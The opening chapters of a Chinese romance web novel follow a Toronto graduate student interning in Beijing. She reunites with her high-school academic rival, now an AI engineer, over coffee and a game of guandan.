《候鸟的岛》 1. 北京时间 《候鸟的岛》 闻笙@晋江文学城 2026年6月18日 【楔子】 叶颂真从多伦多到北京实习,朋友发来几条北京规则怪谈。 规则怪谈之一:北京两个地方之间的预计耗时一般为固定值,与所乘交通工具无关。 规则怪谈之二:北京地铁4号线,谁先下车谁先输。 规则怪谈之三:北京偶遇熟人的概率,不亚于彩票中奖。 起初,叶颂真不以为意。 直到后来的某一天,她接连触发这三条规则怪谈…… Chapter01 那天,叶颂真去中关村给客户送文件,恰逢北京入冬的第一场雪。 她站在写字楼下,望着阴翳的天空,撇了撇嘴角。 雪下得密,行人走得也急。 从国贸到中关村,地铁加步行要一个多小时。来回折腾这么一趟,真挺要命。 她想打车,一看路线,也得一个多小时。 想到公司繁琐冗长的报销流程,叶颂真咬咬牙,冒雪冲进地铁站。 为自己花钱,可以。为工作花钱,不行。 下午一点,地铁人不多。 她找了一个空位坐下来,勉强一歇。 每到冬季学期,叶颂真就申请回国。说是实习,其实是为了过冬。多伦多的冬天太漫长,五大湖水汽丰沛,暴雪一连数日。 她像迁徙的候鸟,前年在苏州,去年在上海。她的母亲叶知秋对家乡有着谜一般的自信:“除了上海,哪儿也比不上苏州。你以后就回苏州工作,上海也行。” 离家近,好处和坏处都很明显。 好处是能体会到家的温暖,衣来伸手饭来张口;坏处是处处行动受限,她都快二十五岁了,家里还设了晚上九点的门禁。 叶颂真受不了,今年直接跑到北京。 她在某知名外资银行北京分行实习,写进商科生的履历也算不俗的一笔,叶知秋没理由干预。 地铁开到西单,叶颂真换乘4号线。一看4号线自南向北的站名,她顿时如坐针毡。 区区一条地铁线,沿途有将近二十所大学,越靠近终点站,学校越厉害。985、211高校占据了半壁江山,“北京大学东门”“人民大学”这种简单、直白的站名也极具冲击力。 尽管叶颂真已经跳出国内的教育体系,高考失利仍是她躲不开的梦魇。 她不止一次地梦见高考。她坐在逼仄、狭小的考位上,盯着空白的答题卡,握笔的手直打颤,一个字也写不出。 醒来已是一身冷汗。 她也不止一次地想象,如果当年高考没有发挥失常,她现在会在哪儿?她也会在北京地铁4号线的某一站下车吗? 这个问题没有答案,因为人生没有如果。 最终,叶颂真在中关村站下车,输得不算太多——也就稍逊清华北大。 一出地铁站,气温骤降。乌云压得很低,漫天飞雪,寒风侵骨。她抱着文件,深一脚浅一脚地抵达目的地。 文件送到前台,客户亲自签收。任务完成,她拿出手机拍照,给Selina汇报。 Selina回复:「Ashley辛苦,今天没有其他工作安排。周末愉快。」 这会儿还不到三点,提前到来的周末令人振奋。 叶颂真准备打车走,意外瞥见地图上有一家TimHortons。 Tims是加拿大的国民咖啡,相当于美国的星巴克、中国的瑞幸。加拿大满大街都是Tims,多伦多也不例外。 Tims进军中国市场了?她无比怀念Tims的鲜萃深烘。 明天不上班,喝一杯也无妨。 推开店门,咖啡香气扑面而来。 大雪突袭,这个时间点的上座率竟有七八成。店员忙个不停,咖啡机也响个不停。 叶颂真来到吧台,前面有一个男生在点单:“一杯热美式,不加糖。” 无糖热美式喝起来跟烟灰水没什么区别,居然有人喜欢这一款。 不过,他的声音真好听。 像壁炉里的火舌,极其温和地舔了那么一下。 叶颂真仰仰头,只能看到他的后脑勺。 他穿黑色冲锋衣,干净利落的短发,发旋生得特别规整,在正中央的位置。 他接过咖啡,一回头,跟叶颂真打了照面。 他高且瘦,像嶙峋的山石,静默着。皮肤白,深陷的眼窝显得睫毛很长,眉眼漆黑,透着几分精神气。 他对上叶颂真的视线,怔了怔。 叶颂真移开眼神,生怕冒犯到对方——她刚刚在偷看。 他拿了一根吸管,转身离开。吧台空了出来,轮到叶颂真点单。 她要了一杯经典的双糖双奶:“DoubleDouble,谢谢。” 她端着咖啡找座位。 不巧的是,那个男生占据了最后一张空桌。他从背包取出苹果笔记本电脑,噼里啪啦地敲着键盘。咖啡放在右手侧,也不见喝上一口。 叶颂真来到他的对面,轻轻叩了一下桌面:“你好,请问……” 他虚虚一抬眼,停下手上的动作,听她继续往下讲:“这儿有人吗?” “没。” “我可以坐这儿吗?” “坐。” 叶颂真顺势就座。 雪天,室内,枫叶色的桌椅。再来上一杯热咖啡,真是享受。 更别提,对面还有一个赏心悦目的帅哥。 他的指尖在键盘上翻飞。 打字的间隙,他时不时抬头看窗外的雪,若有所思。 叶颂真忍不住跟朋友分享她的见闻。 叶颂真:「我在咖啡店碰见一个帅哥,就坐在我对面。特别帅,像韩国男明星。」 梁丘羽:「发张照片看看。」 叶颂真:「偷拍不好吧?」 梁丘羽:「那你加他微信,朋友圈说不定就有照片。」 叶颂真:「……」 梁丘羽又发来一段语音,叶颂真想转文字。但是,这是苏州话,系统识别不出来。 叶颂真没带耳机,只能将耳朵贴上去。距离控制得不太对,语音变成了公放:“顶顶标致的帅哥坐在你对面,天上掉下来的缘分呀。你现在不加他微信,等下他一走,你哭都没地方哭。” 叶颂真吓了一跳,立马瞅过去。 帅哥波澜不惊地按下回车键,抬眸看过来。 叶颂真赶紧敛下睫毛,装作喝咖啡。 苏州话在北京自带加密功能,他应该听不懂吧? 工作告一段落,帅哥合上电脑,拿出手机,指尖在屏幕上划动。 过了片刻,他把手机递到叶颂真的面前,屏幕上是大大的二维码。 叶颂真吓了两跳,一动也不敢动。 不会吧?他听得懂苏州话?她难以置信地看他。 “不是要加微信?”他微微一笑。 “朋友跟我开玩笑呢……”她连忙摆手,几乎要落荒而逃。 “也罢,”他的鼻腔逸出一丝轻哼,“省得你还得花工夫把我删了。” 嘴上这么说,手机也没往回拿。 叶颂真有些懵,直到她看清二维码上方的小字—— 名字:齐屿 地区:江苏苏州 叶颂真吓了三跳,差点儿从椅子上蹦起来。 他是齐屿? 活见鬼,她在北京偶遇熟人了。 早知道她今天就该去买彩票,而不是来喝咖啡,白白浪费了一次发财的机会。 齐屿是叶颂真中学时代的死对头。 成绩不相上下,排名也总是挨在一起,你追我赶,缠缠绵绵。 两人关心对方的成绩胜过自己。 每当名次表被张贴出来,他们都要先找对方,再找自己。 齐屿发挥向来稳定,叶颂真却神一阵鬼一阵。可惜,她通常小考超神,大考超鬼,高考更是砸穿底盘,考出史上最低分。 叶颂真连志愿都没填,准备复读。可是,她心态那么差,极有可能一年不如一年。叶知秋心疼不已,便联系远在加拿大的表亲,将女儿送到多伦多,开启留学生涯。 与此同时,齐屿风风光光上清华。 一别经年,齐屿和以前大不相同,气质成熟了不少。她认不出来也很正常。 只不过,她应该也变了模样,齐屿为什么能认出她?不愧是他,记性真好。 “齐屿,”叶颂真叫出那个久违的名字,“你怎么在这儿?” “叶颂真,”齐屿说,“这应该是我问你的问题。” 这话也对。 清华离这儿只有几公里,加拿大离这儿……几千公里都不止。 叶颂真像是误闯他人地界的小贼,被逮了个正着。 “这……”叶颂真犹豫着,“说来话长。” “那就长话短说。” 齐屿催促。 “我来北京实习,只待四个月,等冬天过去我就走了。” 叶颂真极力撇清关系,生怕齐屿以为她要赖在北京不走。 “去哪儿?” “加拿大。” “你还没毕业?” “我在读研。” “读完研还回国吗?” 齐屿的问题一个接一个,咄咄逼人。叶颂真惊觉自己处在被动的位置。 他问话,她凭什么要如实回答呢?除非她当年干过什么亏心事。 高考放榜之后,叶颂真无颜面对江东父老,破防到直接单方面删除了齐屿的联系方式。 平心而论,这算什么亏心事? 叶颂真怼了回去:“我回不回国,跟你应该没关系吧?” 叶知秋希望她回国工作。但是,以她的学历留在国外工作也不成问题。 齐屿深深地看她一眼,没有作声。 手机叮了一下,他翻开电脑,拧着眉头继续敲敲打打。 叶颂真松了半口气,剩下的半口气又咽了回去。 走也不是,不走也不是……她只能坐在原位,看着齐屿。 看着看着,目光多了一丝不易察觉的怜悯。 小的时候,叶颂真觉得在咖啡店办公是一件特别酷的事情。现在,她同情齐屿。 齐屿,校园里响当当的人物,天之骄子,人中龙凤。从高考大省江苏杀入清华,一将功成万骨枯。 步入社会,也就是随时随地待命的打工人。不然,谁会在下午三点靠咖啡续命呢? 齐屿冷不丁地冒出一句:“你为什么要用那种眼神看我?” “什么眼神?” “那种可怜的眼神。” 叶颂真被戳中,瞬间无语:“我没有。” “别可怜我,”齐屿说,“我时薪四位数。” 叶颂真:“……” 那她还是可怜自己吧。 叶颂真的日薪高达惊人的二百五。 是日薪,不是时薪,她还不配谈时薪这个词。 Emily为她办理入职的时候,特意告知实习生的薪资标准:“本科生二百,研究生二百五。” 为了这多出来的五十块钱,她一度沾沾自喜——这个研究生读得还挺值。 现在,齐屿说他时薪四位数。 叶颂真觉得自己真是二百五。 人比人,气死人。 这么多年过去,齐屿还是从前那个齐屿,没有一丝丝改变。 叶颂真喝了一口咖啡。 明明加了双糖双奶,她还是品出了苦和酸。 进攻是最好的防守。 她不能在齐屿面前示弱。 叶颂真主动出击:“齐屿,你怎么在这儿办公?公司没有你的工位吗?” 齐屿优哉游哉:“我今天休假,这个Bug只有我能解决。” “你休假还带着电脑?” “这叫职业素养。” 叶颂真一针见血:“这个Bug不会是你引入的吧?” 齐屿淡定得很:“我负责处理他们搞不定的问题。” 叶颂真:“……” 可恶,又让他装到了。 齐屿敲完最后一行代码,把电脑挪到旁边跑测试,若无其事地问了一句:“你在哪儿上的大学?” “多大,”叶颂真补充说明,“多伦多大学。” 齐屿没说什么,低头摆弄起手机。 叶颂真心尖一颤,这家伙肯定是在查多伦多大学的QS排名。 为了防止齐屿嘲讽,她决定自刀一血。 “多大这几年的QS排名是下降了,但是——”她强调,“我申请的时候,它的QS排名还是挺高的。” “我说多大什么了吗?”齐屿懒懒地掀了一下眼皮,“你多大了?还信QS排名。” 他放下手机,上面是他的股票持仓。A股下午三点收盘,他照例看一眼,形势喜人。 叶颂真:“……” 时薪四位数,股票千里江山一片红。 人生,易如反掌。 面对齐屿的挑衅,叶颂真坐不住了,将咖啡一饮而尽。她捏紧纸杯:“我还有事,先走一步。” 刚起身,又被齐屿叫住:“微信还加不加了?” 叶颂真又羞又恼:“谁要加你的微信!” 齐屿挨着座椅,意味不明地笑了笑:“不是你垂涎我的美色,想加我的微信吗?” 2. 北京时间 Chapter02 老同学终究还是互加了联系方式。 齐屿的微信头像是一座海上的岛。 日落时分,沙鸥掠过橘子海。海天一色,幻境一般的暖。 叶颂真坐在回家的出租车上,翻看齐屿的朋友圈。 仅三天可见,没什么内容。只有一篇两天前转载的公众号文章,介绍了下周即将在杭州召开的AI高质量发展大会。 叶颂真点进文章,里面有嘉宾介绍,齐屿赫然在列。 他的头衔可真多,一行都写不下。什么头部互联网大厂资深技术专家、AI算法架构工程师、前创业公司创始人……学历甚至被放在了最后。 叶颂真备受打击。 难怪齐屿不屑与她讨论什么QS排名,他早已进入新赛道,她还停留在学生思维。 梁丘羽:「加上微信了吗?」 叶颂真:「还不如不加呢。」 梁丘羽:「帅哥有女朋友?」 叶颂真:「鬼知道,Idon'tcare.」 梁丘羽:「怎么了?」 叶颂真:「你猜他是谁?」 梁丘羽:「我怎么知道?」 叶颂真:「齐屿。」 梁丘羽:「齐屿?当年跟你一个班的齐屿?上清华的那个?」 叶颂真:「没错,就是他。你知道我有多尴尬吗?我真想嘎嘣一下死在那儿。」 梁丘羽是叶颂真的发小兼闺中好友,高中同校不同班的同学。 齐屿的大名,梁丘羽如雷贯耳。他和叶颂真的种种争锋,她也如数家珍。 譬如,叶颂真某次晚自习下课多留了半个小时,齐屿硬是熬到更晚,生怕她多学了什么东西。叶颂真曾在梁丘羽面前大骂他是学人精。 梁丘羽:「他认出你了?」 叶颂真:「早就认出来了,装不认识,把我当猴耍。」 梁丘羽:「怎么能这样?他也太坏了吧。」 叶颂真:「心眼比蜂窝煤还多。」 梁丘羽:「不过我挺好奇,他现在有那么帅吗?比高中时候还帅?你有他的照片吗?」 叶颂真想说没有,偏偏这时,齐屿发来消息。点开一看,正是他的照片。 叶颂真:「?」 齐屿:「拿去满足你亲朋好友的好奇心。」 叶颂真:“……” 不是,他偷听也就罢了,还能隔空窥屏吗? 那是齐屿的毕业照。 他穿着学士服,托着学士帽,站在清华的二校门前,英姿勃发,笑意如春光融化。 “清华园”三个大字太扎眼,刺痛了叶颂真,她怀疑齐屿故意挑这张照片。 她深吸了一口气,平复心情,这才把照片转发过去。 梁丘羽:「这是齐屿?」 叶颂真:「嗯。」 梁丘羽:「哎呀,可真是……」 梁丘羽:「红豆生南国,齐屿赛男模。」 梁丘羽:「看看这下颌线,比我的人生规划还清晰。」 梁丘羽:「他这些年是不是赚到钱了?这么会收拾自己。」 叶颂真酸溜溜地想,赚得还不少呢。 齐屿在清华读的是人工智能专业。 现在的AI行业是怎样一番盛世光景,大家有目共睹。所以,叶颂真一点儿也没怀疑齐屿跟她吹牛。 当年,叶颂真出国之后,利用一整年的时间申请加拿大的大学,名校通通试了一遍,除了滑铁卢大学。因为,“滑铁卢”这个地名像在嘲讽她。 后来,她陆续收到各大高校的Offer,千挑万选,决定去多伦多大学读金融,连授课带实习,光本科就要读五年。 经济上行期,金融行业蓬勃发展,前途无量。 读着读着,经济突然下行了。不论国内还是国外,商科生找工作的难度都呈指数级上升。 人生就是这样,一步错,步步错。 站在风口上,猪都能起飞。浪潮退去,只剩一池王八瞎扑腾。 梁丘羽:「别的不说,清华的学士服是好看哈。这照片要是让丈母娘看见,嘴都得笑歪。」 叶颂真:「梁丘羽,禁止给男人赋魅。」 梁丘羽:「那我帮你骂他,我想想怎么骂。」 叶颂真:「快点想。」 梁丘羽:「清华本硕有什么了不起?期刊发了几篇?奖学金拿满了吗?有什么学术成果?」 梁丘羽:「他要是没有,这一回合你就赢了。」 梁丘羽:「他要是有,你就继续骂:那么厉害怎么不读博?」 叶颂真:「……」 叶颂真:「你从哪儿学来的?」 梁丘羽发来一张带小红书水印的“学历挨骂对照表”。 梁丘羽:「总有一款适合他。」 叶颂真一眼就看到了适合自己的那一款。 本科出国:还不是家里有钱? 硕士出国:水硕! 叶颂真快吐血了。 伤敌八百,自损一万。 梁丘羽意识到不妥,点击撤回。 梁丘羽:「骂就完事儿了,你跟他讲道理干什么。」 叶颂真没再回复,因为出租车停在了她的小区门口。 雪还在下,路面上的积雪被车辙分割得七零八落。绿化带里堆着粉末状的雪,车灯一晃,闪着莹莹的光。 叶颂真在双井短租了一套四十平米的开间,每个月的实习工资勉强够付房租,生活费还得家里额外补贴。 虽说叶颂真在北美留学,但她在留学生里算不上富裕。她的母亲是国企领导,父亲是中学老师。比上不足,比下有余,供她出国留学也得省吃俭用,一年几十万的开销绝对不算一笔小数目。 这也是叶颂真郁闷的点。 当别人骂你“还不是家里有钱”的时候,你家里最好是真的有钱。 通常来说,留学生里最有钱的那一小搓人,一部分是三四线城市的婆罗门,人家在当地有产业、有生意,赚钱的门路比大城市中产要多得多。 另一部分是大城市的天龙人,家里的情况往往不可说。 叶颂真有一个男同学追求过她,出手阔绰得很。香奈儿的包、格拉夫的耳环、梵克雅宝的手链……送礼都不带重样的。 他的母亲常年在加拿大伴读,父亲没露过面。了解之后才知道,他的父亲几年前在国内落马,大批资产早就转移到国外,二十年牢狱之灾换母子后半生的荣华富贵。叶颂真吓得连夜退还礼物,拉黑不再见。 到家之后,叶颂真脱掉半湿的鞋袜,找出干净的家居服,直接钻进浴室洗热水澡 。 洗完澡,她对着镜子吹头发,观察镜子里的自己。柳叶眉,新月眼,鹅蛋般饱满、流畅的脸型。发丝微微蜷曲,勾勒出自然的弧度。 她跟十八岁的时候不一样了。 脸颊上的婴儿肥没了,不再长青春痘,五官更清晰,身材更高挑。不再穿千篇一律的校服,而是轻熟、简约的OfficeLady装束。 有一次回国,亲戚朋友见了她,无人敢相认。 齐屿怎么会一眼就认出她呢? 叶颂真想不明白,也不愿再想。 她在加拿大多年,好不容易才放下某些执念。跟齐屿见上一面,那种莫名的焦虑感就再度爬上她的心头。 她坐到沙发上,忽然有点儿饿。早知道下午在Tims就该再点一个贝果堡。 她想看看附近的外卖,刚打开手机,就收到梁丘羽发来的消息。 梁丘羽:「天呐,大数据太可怕了。你猜我刚刚刷到了什么?」 叶颂真:「什么?」 梁丘羽:「齐屿的小红书账号!你要不要看看?」 叶颂真:「没兴趣。」 她闭着眼睛都能想象出齐屿的小红书主页什么样: TOP2本硕/MBTI/绩点/专业排名/奖项 Base北京/大厂搬砖/AI算法工程师 人生是旷野,不是轨道。 置顶笔记一 我的来时路:从小到大的上学轨迹 置顶笔记二 清华毕业在大厂上班的一天 置顶笔记三 我为什么反对优绩主义 …… 梁丘羽甩来链接,叶颂真口嫌体正直,忍不住点进去。 意外的是,这个主页和想象中完全不同,没有TOP2学历,没有大厂日常,也没有输出犀利的观点,只有生活记录,比如出游、音乐、游戏、。看起来像一个大活人,而非优绩主义集大成者。 叶颂真怀疑梁丘羽认错人了。 叶颂真:「你确定这是齐屿?」 梁丘羽:「IP在北京,有一条笔记分享了我们高中校园的照片,评论区还有他跟朋友的互动。」 叶颂真往下划了划,果真找到那条发布于去年八月的笔记。 标题:当时只道是寻常 图片:高中校园的操场、走廊、空教室、旋转楼梯、香樟树、小池塘、流浪猫 评论区有人留言。 W:「齐神雅兴啊,还有空逛校园。」 小岛没有烦恼:「来上海出差,顺道回去看看。」 这个W的主页明晃晃地挂着“清华大学”的标识,看来是齐屿的熟人。 梁丘羽:「是他吧?」 叶颂真:「像,又不太像。」 齐屿私底下这么低调? 她以为齐屿出门散步都得穿清华的文化衫、挂大厂的工牌。 只有一种可能的解释—— 现在卷王太多,大家都很紧绷,所以更崇尚松弛感。清北学历容易被误会成小镇做题家,所以齐屿要暗搓搓地晒高中母校。 那可是省重点中学,百年名校,底蕴深厚。其中的优越感,不言而喻。 叶颂真不得不服。 齐屿的装逼段位已经level了。 3. 北京时间 Chapter03 是夜。 兴许是喝了咖啡的缘故,叶颂真在床上翻来覆去睡不着,满脑子都是齐屿那个混球。 折腾到凌晨三点,她终于支持不住,昏昏沉沉地睡过去了。 …… 与此同时,齐屿合上笔记本电脑,揉了揉睛明穴。 活见鬼,下午那个Bug怎么也解决不了,本地一直无法复现。他反复推敲,在庞大的代码库里逐行逐字地检查,这才发现一处不起眼的低级错误。 他憋着一股无名之火,立刻查询Git版本记录,最后一次改动是他三个月之前提交的——正是他引入的Bug。 齐屿不禁自哂。 有意思,真有意思。 /// 临近中午,叶颂真被消息提示音吵醒,摸出枕头底下的手机,迷迷糊糊地瞄一眼。 竟然是齐屿。 叶颂真气不打一处来。 早知道不加他的微信了,耽误睡觉。 齐屿:「今天有空吗?」 叶颂真:「你觉得我很闲?」 齐屿:「留学生回国不都无社交吗?」 叶颂真:「……」 叶颂真:「有事说事,无事勿扰。」 齐屿:「掼蛋吗?三缺一。」 提到掼蛋,叶颂真来了精神。 掼蛋一种是两两组队的四人扑克游戏,发源于江苏淮安,风靡于江浙沪一带,其他地方会打掼蛋的人不多。她在国外找不到人组局,也就回国才能过过瘾。 高中那会儿,她经常在课余时间偷偷跟同学打掼蛋,齐屿有时候也在。 两人斗得你死我活,杀得难解难分,炸弹满天飞,牌桌堪比叙利亚战场。 叶颂真:「在哪?」 齐屿:「三元桥。」 叶颂真:「还有谁?」 齐屿:「你来了就知道。」 叶颂真坐了起来,睡意全无,严阵以待。 叶颂真:「齐屿喊我打掼蛋。」 梁丘羽:「那你不得杀他个片甲不留。」 叶颂真:「正有此意。什么都能输,掼蛋必须赢!」 今天气温低,她从衣柜里翻出羽绒服,又找了帽子、围巾、手套戴上。 她常年生活在多伦多,过冬装备一应俱全,穿上之后还有点儿小热。 霜前冷,雪后寒。 灰沉沉的天,白茫茫的地。雪地靴踩在未化的积雪上,嘎吱嘎吱作响。 几只圆滚滚的麻雀挤在光秃秃的树枝上,抱团取暖。 棋牌室在三元桥的某商务大厦,地铁直达,她没费什么工夫就找到了地方。 齐屿和另外两个男生正在斗地主。他托着腮,眼皮半耷拉着。纸牌只剩最后两张,没握在手里,就这么反扣在面前。另一只手搭在桌边,指尖一下一下地轻点,像在计时。 叶颂真进门的时候,所有人的目光都被吸引。 她穿了一件绽粉色的短款羽绒服。轻盈,蓬松,云朵一样软,像早春的樱花。 戴眼镜的男生眼神一亮又一亮:“还是朝阳洋气,我们几个从海淀来,就跟乡下人进城一样。” 另一个国字脸的男生打趣:“说你自己就行,齐屿时尚得很。” 三人今天穿的都是黑色羽绒服,肉眼根本看不出差别。 要说有什么不一样,那就是脸不一样。毕竟,时尚的完成度靠脸。 叶颂真坐到齐屿的对面,好奇地问:“你们三人都在海淀,为什么要跑到朝阳来打牌?” “北京太大了。公平起见,齐屿在地图上标出了我们仨的坐标。三点确定一个圆,三元桥刚好是圆心。”眼镜男解释道,“这样可以保证我们每个人过来的距离相同。” 叶颂真:“哪怕为此每个人都得走更远的路程?” 另一个男生点点头:“没错。” 叶颂真:“……” 数学是用在这里的吗? 真是一点儿亏都吃不得。 齐屿向叶颂真介绍他的朋友。 戴眼镜的叫王鹏飞,南京人,他的大学同学。国字脸的叫容浩,盐城人,他的前同事,刚离职不久。 “叶颂真,”齐屿念出她的名字,“我的高中同学。” “美女连名字都好听,”王鹏飞感慨,“认识齐屿这么久,我都不知道他有这么漂亮的女同学。” 容浩切了一声:“谁会舍得把美女介绍给别人?” 叶颂真对吹嘘的场面话没兴趣,一心只想打掼蛋:“我们什么时候开始?” “先组队吧。”王鹏飞挑出四张牌,“两张黑桃两张红桃,抽到一样的就是对家(队友)。” 叶颂真拿到红桃。 齐屿把牌掀开,也是红桃。 叶颂真愣了一下。 她跟齐屿一直都是对手,还没当过队友呢。这还怎么赢他? 她看了一眼齐屿,齐屿也在看她。眼神交锋,她提议:“要换吗?” 王鹏飞抓走第一张牌,是小鬼。他喜形于色,催促着:“换什么换?赶紧抓牌。” 齐屿跟着摸了一张牌,默认保持当前的分组。 四人依次抓牌、理牌。 叶颂真的牌不错,整齐,没什么零碎。齐屿的牌也很霸道,没费什么力就扔出去好多张。 齐屿又走了一手牌,只剩四张。容浩说不要,叶颂真啪地丢出一颗炸弹。 齐屿眉梢一抖:“你炸我?” 叶颂真啊了一声,惊讶:“不好意思,忘记你是我的队友了。” “你故意的吧?”齐屿指出问题所在,“枪不打四,我是对手你也不能炸啊。” 掼蛋游戏中,除了炸弹,四张牌无法在一回合内出清。这个时候放炸弹,等于白送。这是最基础的常识,她怎么会不知道? 叶颂真往回搂着牌:“那我拿回去。” “哎哎哎,你俩干什么呢?”王鹏飞嚷嚷道,“怎么还能悔牌?放下放下。” 叶颂真把牌又推了回去。 这下牌权来到她这里。她在思考:“出什么牌好呢,好难选啊……” 齐屿捏着最后的四张牌,发出警告:“你这把最好是能拿到头游(第一名)。” 叶颂真打出对A,王鹏飞和容浩面面相觑。这都往外扔对A了,手里的牌得多横啊。 如他们所料,叶颂真接下来打出的牌型他们一个也要不起,只能眼巴巴地看她走完手牌。她打牌有一套自己的逻辑,他们轻敌了。 “太好了,我是头游。”叶颂真欢天喜地。 齐屿接风,放出一枚炸弹,拿到二游(第二名),结束第一局。 结果是好结果,配合却稀碎。 第二局开始之前,齐屿强调:“记住,我是你的队友。” “知道了,”叶颂真重复了一遍,“你是我的队友。” “你俩别队友队友地叫了,”王鹏飞插科打诨, “队友这个词早就不是原来的那个意思了。” 容浩问:“那是什么意思?” 王鹏飞说:“现在的夫妻不叫夫妻,都叫队友。” 叶颂真:“……” 中文互联网已经进化成这样了? 太抽象了。 叶颂真尴尬,为自己找补:“我在国外,网速没国内快,不懂这个。” 王鹏飞嘿嘿一笑:“你不懂,有人肯定懂。” 叶颂真瞟了一眼齐屿。 齐屿斜乜着王鹏飞,对这个玩笑很不满:“少说些有的没的,抓你的牌。” 叶颂真心想,王鹏飞应该不知道她跟齐屿的旧事。 否则,他绝不会多这一句嘴。 天底下的男人和女人死光了,他俩都不会在一起。 人类啊,迎接灭亡吧! …… 打牌期间也偶有闲聊。 叶颂真了解到,他们三人都从事AI行业。她忍不住打听:“你们行业现在是不是特别好找工作?” “好找,也不好找。”容浩说,“顶尖人才稀缺,普通码农……会被自己开发出来的AI代替。” “齐屿呢,就属于顶尖人才。”王鹏飞补充说明,“人家上大学的时候自主创业,一举实现财富自由,房都买好了。现在就差迎娶白富美,走上人生巅峰了。” “北京的房?” “不然呢?” “……” 齐屿比她想象中混得还好。 年纪轻轻在北京买房,这……这这也太可恶了! 叶颂真像是吃了柠檬,心里很不得劲,嘴上却说:“这两年房价跌惨了吧?” 齐屿打出对3,慢悠悠地说:“还好,买的板块比较抗压。” “创业赚那么多,怎么又去打工?” “没办法,他们给的实在太多了。” 天杀的! 齐屿赚钱,叶颂真像被抢劫了一样难受。 牌桌陷入诡异的沉默。 只有哗啦啦的洗牌声。 王鹏飞问叶颂真:“诶,你在加拿大感觉怎么样?我想去旅游。” “你可别来,加拿大是旅游荒漠。尤其是冬天,雪大到能把人埋了。”叶颂真漫不经心地摸着牌,“那边地广人稀,野生动物多。有一次我跟朋友开车出去玩,路上碰到一只Moose,它非要来舔挡风玻璃,我快被吓死了。” 容浩插了一嘴:“那不是跟盐城差不多?盐城就有麋鹿。” 王鹏飞像是发现了新大陆:“看来不是北美去不起,还是盐城更有性价比。” “Moose是驼鹿,比麋鹿大很多。”叶颂真纠正道,“成年驼鹿肩高有两米,像一座山。一座山向你走来,你说可不可怕?” 叶颂真不禁叹息:“总之,加拿大就是北美宁古塔。” 哎,提起来都是泪。 但凡她高考能正常发挥,也不至于败走加拿大。 齐屿突然发问:“那你毕业还回国吗?” 叶颂真实话实说:“国内人多,竞争压力太大,加拿大还好点儿……不然也不会有那么多中国人移民加拿大。” “也不是没有加拿大人往中国跑,来了中国还不走了。”齐屿说,“北京朝阳就有加拿大人,你应该也认识。” 叶颂真不记得自己认识什么北京朝阳的加拿大人,便问:“谁啊?” “KrisWu.” “……” 4. 北京时间 Chapter04 一打起牌,时间就过得飞快。 饭也不吃了,觉也不睡了,无聊的生活又有滋有味了。 牌桌之上,双方激战正酣,杀得有来有回。 现在来到叶颂真和齐屿的关键赛点局。 这一把必须双赢,如果二人中任意一人拿到末游(最后一名),他们就得退回最初的等级,重新升级——相当于一下午白干。 因此,王鹏飞和容浩的策略是保存实力,集中火力对付一人。 齐屿的手牌又只剩下四张。 “快滚快滚,”王鹏飞大手一挥,指了指叶颂真,“我们俩打她就行。” 齐屿的指尖在牌上徘徊,打出一张单2,看来也是山穷水尽了。 对手二人转忧为喜。 “这还能让你过?”容浩甩出一张小鬼,“你等着当末游吧。” “一张单2你藏到现在……”叶颂真不禁扶额,“故意坑我?” “一直没机会出,”齐屿抚过剩下的三张牌,“你手里不是还有大鬼么?” 叶颂真:“……” 对手虎视眈眈,她必须想办法送齐屿上岸。现在的她没有感情,只有对胜利的渴望。 齐屿不吃单也不吃对,难道手里只剩小散牌? 不。相杀多年,她很了解齐屿,他不是不留后路的人。 只不过……他拿这么一手牌,是把希望寄托在她身上了?他可真敢。 叶颂真的大脑飞速地运转着。 几手牌一出,就把下家王鹏飞逼到弹尽粮绝。拿到牌权之后,她第一时间打出三张3。 王鹏飞没招了。 他手里没有这个牌型,也没有炸弹。 齐屿扔出三个J,稳坐上游。叶颂真接风,又打出一张3。 在场的人目瞪口呆——为了让齐屿先走,她竟然拆了炸弹。不仅如此,她还顺利地拿下二游,漂亮地结束比赛。 容浩啪地摔出所有手牌:“掼蛋打得那么好,你是我们苏北的吧?!” 堪称掼蛋界的最高评价。 王鹏飞啧啧道:“齐屿,你必须请人家吃饭。人家带你飞了呀!” 齐屿仰头喝了一口纯净水,慢条斯理地拧着瓶盖:“先欠着,回头请。” 赢牌的人买单,齐屿去找老板付茶水费。 他回来的时候,叶颂真还沉浸在胜利的喜悦之中。她的脸上浮着一抹绯色,好似微醺。 王鹏飞拍拍齐屿的肩膀:“车到楼下,我先撤了。” 容浩跟他一起离开。 齐屿问叶颂真:“你怎么回去?” “坐地铁。” “几号线?” “10号线。” “我也坐10号线。” 10号线是环线,叶颂真回双井,齐屿去苏州街,刚好是反方向。 叶颂真穿上羽绒服,跟着齐屿走出大厦。 夜色正浓,星光黯淡,寒风送来烤红薯的香气。路边有人在卖烤红薯,叶颂真有些饿,便挑了一个。齐屿说:“我也来一个,一起结账。” 叶颂真心安理得地赚了一个烤红薯。 谁让齐屿有钱呢?这种走两步恨不得往外掉金条的人,不向他借钱已经仁至义尽了。 地铁禁止饮食。叶颂真在街边找了一处花坛,齐屿也跟着坐。 热腾腾的烤红薯捧在手心,全身上下都暖烘烘。 “以前校门口有个大爷卖烤红薯。”齐屿回忆道,“晚自习下课,不少同学会去光顾生意。” 叶颂真也有话说:“有一次我刚付了钱,城管就来了。大爷骑上三轮车就跑,我在后面一路追,给我累得够呛。” 齐屿问:“追上了吗?” “没有!那可是电三轮,我怎么追得上?”叶颂真抱怨道,“好在大爷讲信用,第二天又把烤红薯给我了。” 齐屿的嘴角扬起一丝不易察觉的弧度。 再咬一口烤红薯,味道跟当年一模一样。 /// 地铁站内,二人分道扬镳。 齐屿叮嘱:“你到家跟我说一声。” 叶颂真惊讶地眨眨眼:“我还得给你报备?” “你要是出了什么事,警察肯定会找我了解情况,说不定我还得去派出所做笔录。”齐屿强调,“你知道的,我的时间很宝贵。” 叶颂真无语。 对对对,她知道的,他时薪四位数。 有完没完了? Strong哥! …… 到家之后,叶颂真收到梁丘羽的消息。 梁丘羽:「战况如何?有没有把齐屿摁在地上摩擦?」 叶颂真:「他是我的队友。」 一想到“队友”这个词可能引发歧义,她赶紧撤回,换了一种说法:「我们被分在了一队,我带飞。」 梁丘羽:「啊?那他真是秦始皇摸电门——赢麻了呀。」 叶颂真:「……话也不能这么说。大家都是要脸的人,谁能接受自己像废物一样被死对头带飞?我如此高风亮节、不计前嫌,他肯定比一败涂地更难受。」 梁丘羽:「看来齐屿今晚睡不着了。」 叶颂真:「躲在被窝里哭。」 梁丘羽发来表情包,一个大大的“赢”字。 这时,躲在被窝里哭的某人发来消息。 